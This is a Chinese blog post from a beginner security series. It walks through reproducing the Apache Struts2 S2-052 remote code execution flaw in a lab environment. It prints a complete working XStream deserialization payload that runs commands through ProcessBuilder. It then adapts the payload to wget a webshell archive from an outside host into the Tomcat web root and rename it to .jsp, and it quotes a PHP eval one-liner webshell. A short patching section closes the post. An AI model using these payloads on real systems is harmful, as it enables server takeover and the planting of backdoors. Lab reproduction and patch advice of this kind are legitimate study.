美文网首页从0到1玩转网络安全网络与信息安全
从0到1学习网络安全 【实战篇-Apache Struts2(S

从0到1学习网络安全 【实战篇-Apache Struts2(S

作者: _07 | 来源:发表于2019-01-31 21:10 被阅读122次

    Apache Struts2 (S2-052)

    嗯... 好久没更新了今天给大家分享一下关于Apache Struts2 (S2-052)漏洞的复现及修复建议。
    注:今后继续定期更新---实战!


    Step1:环境搭建
    环境搭建这部分略过,今后所有的环境我都会放到公网,感兴趣的朋友可以直接玩。
    漏洞环境.png

    以后文章也是以这种答题的形式给各位看官输出。


    Step2:漏洞复现
    • 首先,访问漏洞地址 http://xxx.xxx.xxx.xxx/index.jsp
    image.png
    • 利用burp 抓包;
      1、修改请求方式为POST
      2、请求头添加字段:Content-Type: application/xml
    burp抓包.png

    poc:

    <map> 
      <entry> 
        <jdk.nashorn.internal.objects.NativeString> 
          <flags>0</flags>  
          <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> 
            <dataHandler> 
              <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> 
                <is class="javax.crypto.CipherInputStream"> 
                  <cipher class="javax.crypto.NullCipher"> 
                    <initialized>false</initialized>  
                    <opmode>0</opmode>  
                    <serviceIterator class="javax.imageio.spi.FilterIterator"> 
                      <iter class="javax.imageio.spi.FilterIterator"> 
                        <iter class="java.util.Collections$EmptyIterator"/>  
                        <next class="java.lang.ProcessBuilder"> 
                          <command> 
                            <string>touch</string>  
                            <string>/usr/local/tomcat/webapps/ROOT/iChina.txt</string> 
                          </command>  
                          <redirectErrorStream>false</redirectErrorStream> 
                        </next> 
                      </iter>  
                      <filter class="javax.imageio.ImageIO$ContainsFilter"> 
                        <method> 
                          <class>java.lang.ProcessBuilder</class>  
                          <name>start</name>  
                          <parameter-types/> 
                        </method>  
                        <name>foo</name> 
                      </filter>  
                      <next class="string">foo</next> 
                    </serviceIterator>  
                    <lock/> 
                  </cipher>  
                  <input class="java.lang.ProcessBuilder$NullInputStream"/>  
                  <ibuffer/>  
                  <done>false</done>  
                  <ostart>0</ostart>  
                  <ofinish>0</ofinish>  
                  <closed>false</closed> 
                </is>  
                <consumed>false</consumed> 
              </dataSource>  
              <transferFlavors/> 
            </dataHandler>  
            <dataLen>0</dataLen> 
          </value> 
        </jdk.nashorn.internal.objects.NativeString>  
        <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> 
      </entry>  
      <entry> 
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>  
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
      </entry> 
    </map>
    
    
    该请求核心部分如下(在目标主机的网站根目录创建一个空的iChina.txt文件):
    
    <command> 
    <string>touch</string>  
    <string>/usr/local/tomcat/webapps/ROOT/iChina.txt</string> 
    </command>  
    

    访问已上传的iChina.txt文件

    访问上传文件.png
    回到开始的题目,要求在网站根目录写入一句话木马,其实说白了就是挂马。

    第一反应,应该都是 echo "<?php @eval($_POST[iChina]);?>" >> iChina.jsp将一句话输出重定向至文件,但是由于经过多次实验这个方法行不通。

    那么,可以这样:

    #利用wget命令将后门直接下载至服务器。
    <command> 
    <string>wget</string>  
    <string>-P</string>
    <string>/usr/local/tomcat/webapps/ROOT</string>
    <string>https://www.bug1024.cn/iChina.jsp.tar.gz</string> 
    </command>  
    

    再这样:

    #修改后缀名
    <command> 
    <string>mv</string>  
    <string>/usr/local/tomcat/webapps/ROOT/iChina.jsp.tar.gz</string> 
    <string>/usr/local/tomcat/webapps/ROOT/iChina.jsp</string> 
    </command> 
    

    访问iChina.jsp页面:

    image.png
    Step3:修复建议
    • 漏洞影响
      Struts 2.5 – Struts 2.5.12 版本,可能影响到 2.3.33 版本。

    • 解决方案

      1.建议尽快升级到 2.5.13版本。

      2.在不使用时删除 Struts REST插件,或仅限于服务器普通页面和JSONs:

      <constant name=”struts.action.extension” value=”xhtml,,json” />

    END

    由于小编也在学习中,写的不好请见谅。
    从0到1学习网络安全 【目录】

    实战环境地址群内公布!!!

    白帽交流群 【简介】

    感谢大家支持。

    相关文章

      网友评论

        本文标题:从0到1学习网络安全 【实战篇-Apache Struts2(S

        本文链接:https://www.haomeiwen.com/subject/hkclsqtx.html